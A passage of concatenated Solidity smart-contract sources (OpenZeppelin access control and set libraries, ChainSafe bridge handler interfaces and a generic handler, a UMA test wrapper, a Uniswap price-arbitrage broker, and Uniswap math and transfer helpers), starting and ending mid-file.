* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.6.0;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IDepositExecute {
/**
@notice It is intended that deposit are made using the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of additional data needed for a specific deposit.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external;
/**
@notice It is intended that proposals are executed by the Bridge contract.
@param data Consists of additional data needed for a specific deposit execution.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for Bridge contract.
@author ChainSafe Systems.
*/
interface IBridge {
/**
@notice Exposing getter for {_chainID} instead of forcing the use of call.
@return uint8 The {_chainID} that is currently set for the Bridge contract.
*/
function _chainID() external returns (uint8);
}
pragma solidity ^0.6.0;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author ChainSafe Systems.
*/
interface IERCHandler {
/**
@notice Correlates {resourceID} with {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function setResource(bytes32 resourceID, address contractAddress) external;
/**
@notice Marks {contractAddress} as mintable/burnable.
@param contractAddress Address of contract to be used when making or executing deposits.
*/
function setBurnable(address contractAddress) external;
/**
@notice Used to manually release funds from ERC safes.
@param tokenAddress Address of token contract to release.
@param recipient Address to release tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release.
*/
function withdraw(
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IGenericHandler.sol";
/**
@title Handles generic deposits and deposit executions.
@author ChainSafe Systems.
@notice This contract is intended to be used with the Bridge contract.
*/
contract GenericHandler is IGenericHandler {
address public _bridgeAddress;
struct DepositRecord {
uint8 _destinationChainID;
address _depositer;
bytes32 _resourceID;
bytes _metaData;
}
// depositNonce => Deposit Record
mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords;
// resourceID => contract address
mapping(bytes32 => address) public _resourceIDToContractAddress;
// contract address => resourceID
mapping(address => bytes32) public _contractAddressToResourceID;
// contract address => deposit function signature
mapping(address => bytes4) public _contractAddressToDepositFunctionSignature;
// contract address => execute proposal function signature
mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature;
// token contract address => is whitelisted
mapping(address => bool) public _contractWhitelist;
modifier onlyBridge() {
_onlyBridge();
_;
}
function _onlyBridge() private {
require(msg.sender == _bridgeAddress, "sender must be bridge contract");
}
/**
@param bridgeAddress Contract address of previously deployed Bridge.
@param initialResourceIDs Resource IDs used to identify a specific contract address.
These are the Resource IDs this contract will initially support.
@param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be
called to perform deposit and execution calls.
@param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {deposit}
@param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {executeProposal}
@dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures},
and {initialExecuteFunctionSignatures} must all have the same length. Also,
values must be ordered in the way that that index x of any mentioned array
must be intended for value x of any other array, e.g. {initialContractAddresses}[0]
is the intended address for {initialDepositFunctionSignatures}[0].
*/
constructor(
address bridgeAddress,
bytes32[] memory initialResourceIDs,
address[] memory initialContractAddresses,
bytes4[] memory initialDepositFunctionSignatures,
bytes4[] memory initialExecuteFunctionSignatures
) public {
require(
initialResourceIDs.length == initialContractAddresses.length,
"initialResourceIDs and initialContractAddresses len mismatch"
);
require(
initialContractAddresses.length == initialDepositFunctionSignatures.length,
"provided contract addresses and function signatures len mismatch"
);
require(
initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length,
"provided deposit and execute function signatures len mismatch"
);
_bridgeAddress = bridgeAddress;
for (uint256 i = 0; i < initialResourceIDs.length; i++) {
_setResource(
initialResourceIDs[i],
initialContractAddresses[i],
initialDepositFunctionSignatures[i],
initialExecuteFunctionSignatures[i]
);
}
}
/**
@param depositNonce This ID will have been generated by the Bridge contract.
@param destId ID of chain deposit will be bridged to.
@return DepositRecord which consists of:
- _destinationChainID ChainID deposited tokens are intended to end up on.
- _resourceID ResourceID used when {deposit} was executed.
- _depositer Address that initially called {deposit} in the Bridge contract.
- _metaData Data to be passed to method executed in corresponding {resourceID} contract.
*/
function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) {
return _depositRecords[destId][depositNonce];
}
/**
@notice First verifies {_resourceIDToContractAddress}[{resourceID}] and
{_contractAddressToResourceID}[{contractAddress}] are not already set,
then sets {_resourceIDToContractAddress} with {contractAddress},
{_contractAddressToResourceID} with {resourceID},
{_contractAddressToDepositFunctionSignature} with {depositFunctionSig},
{_contractAddressToExecuteFunctionSignature} with {executeFunctionSig},
and {_contractWhitelist} to true for {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external override onlyBridge {
_setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice A deposit is initiatied by making a deposit in the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 64 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external onlyBridge {
bytes32 lenMetadata;
bytes memory metadata;
assembly {
// Load length of metadata from data + 64
lenMetadata := calldataload(0xC4)
// Load free memory pointer
metadata := mload(0x40)
mstore(0x40, add(0x20, add(metadata, lenMetadata)))
// func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) +
// bytes length (32) + resourceId (32) + length (32) = 0xC4
calldatacopy(
metadata, // copy to metadata
0xC4, // copy from calldata after metadata length declaration @0xC4
sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up))
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metadata);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
_depositRecords[destinationChainID][depositNonce] = DepositRecord(
destinationChainID,
depositer,
resourceID,
metadata
);
}
/**
@notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract.
@param data Consists of {resourceID}, {lenMetaData}, and {metaData}.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 32 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge {
bytes memory metaData;
assembly {
// metadata has variable length
// load free memory pointer to store metadata
metaData := mload(0x40)
// first 32 bytes of variable length in storage refer to length
let lenMeta := calldataload(0x64)
mstore(0x40, add(0x60, add(metaData, lenMeta)))
// in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params
calldatacopy(
metaData, // copy to metaData
0x64, // copy from calldata after data length declaration at 0x64
sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64)
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metaData);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
}
function _setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) internal {
_resourceIDToContractAddress[resourceID] = contractAddress;
_contractAddressToResourceID[contractAddress] = resourceID;
_contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig;
_contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig;
_contractWhitelist[contractAddress] = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../interfaces/VotingInterface.sol";
import "../VoteTiming.sol";
// Wraps the library VoteTiming for testing purposes.
contract VoteTimingTest {
using VoteTiming for VoteTiming.Data;
VoteTiming.Data public voteTiming;
constructor(uint256 phaseLength) public {
wrapInit(phaseLength);
}
function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) {
return voteTiming.computeCurrentRoundId(currentTime);
}
function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) {
return voteTiming.computeCurrentPhase(currentTime);
}
function wrapInit(uint256 phaseLength) public {
voteTiming.init(phaseLength);
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/Babylonian.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/lib/contracts/libraries/FullMath.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
/**
* @title UniswapBroker
* @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual
* synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically
* swap and move a uniswap market.
*/
contract UniswapBroker {
using SafeMath for uint256;
/**
* @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as
* possible to the truePrice.
* @dev True price is expressed in the ratio of token A to token B.
* @dev The caller must approve this contract to spend whichever token is intended to be swapped.
* @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param uniswapFactory address of the uniswap factory used to fetch current pair reserves.
* @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure
* out which tokens need to be exchanged to move the market to the desired "true" price.
* @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price
* and the 1st value is the the denominator of the true price.
* @param maxSpendTokens array of unit to represent the max to spend in the two tokens.
* @param to recipient of the trade proceeds.
* @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert.
*/
function swapToPrice(
bool tradingAsEOA,
address uniswapRouter,
address uniswapFactory,
address[2] memory swappedTokens,
uint256[2] memory truePriceTokens,
uint256[2] memory maxSpendTokens,
address to,
uint256 deadline
) public {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
// true price is expressed as a ratio, so both values must be non-zero
require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE");
// caller can specify 0 for either if they wish to swap in only one direction, but not both
require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND");
bool aToB;
uint256 amountIn;
{
(uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]);
(aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB);
}
require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN");
// spend up to the allowance of the token in
uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1];
if (amountIn > maxSpend) {
amountIn = maxSpend;
}
address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1];
address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0];
TransferHelper.safeApprove(tokenIn, address(router), amountIn);
if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn);
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests.
path,
to,
deadline
);
}
/**
* @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the
* uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move
* the pool price to be equal to the true price.
* @dev Note that this method uses the Babylonian square root method which has a small margin of error which will
* result in a small over or under estimation on the size of the trade needed.
* @param truePriceTokenA the nominator of the true price.
* @param truePriceTokenB the denominator of the true price.
* @param reserveA number of token A in the pair reserves
* @param reserveB number of token B in the pair reserves
*/
//
function computeTradeToMoveMarket(
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 reserveA,
uint256 reserveB
) public pure returns (bool aToB, uint256 amountIn) {
aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA;
uint256 invariant = reserveA.mul(reserveB);
// The trade ∆a of token a required to move the market to some desired price P' from the current price P can be
// found with ∆a=(kP')^1/2-Ra.
uint256 leftSide =
Babylonian.sqrt(
FullMath.mulDiv(
invariant,
aToB ? truePriceTokenA : truePriceTokenB,
aToB ? truePriceTokenB : truePriceTokenA
)
);
uint256 rightSide = (aToB ? reserveA : reserveB);
if (leftSide < rightSide) return (false, 0);
// compute the amount that must be sent to move the price back to the true price.
amountIn = leftSide.sub(rightSide);
}
// The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
// We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound
// to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so
// unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant
// handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker
// are simply moved here to maintain truffle support.
function getReserves(
address factory,
address tokenA,
address tokenB
) public view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
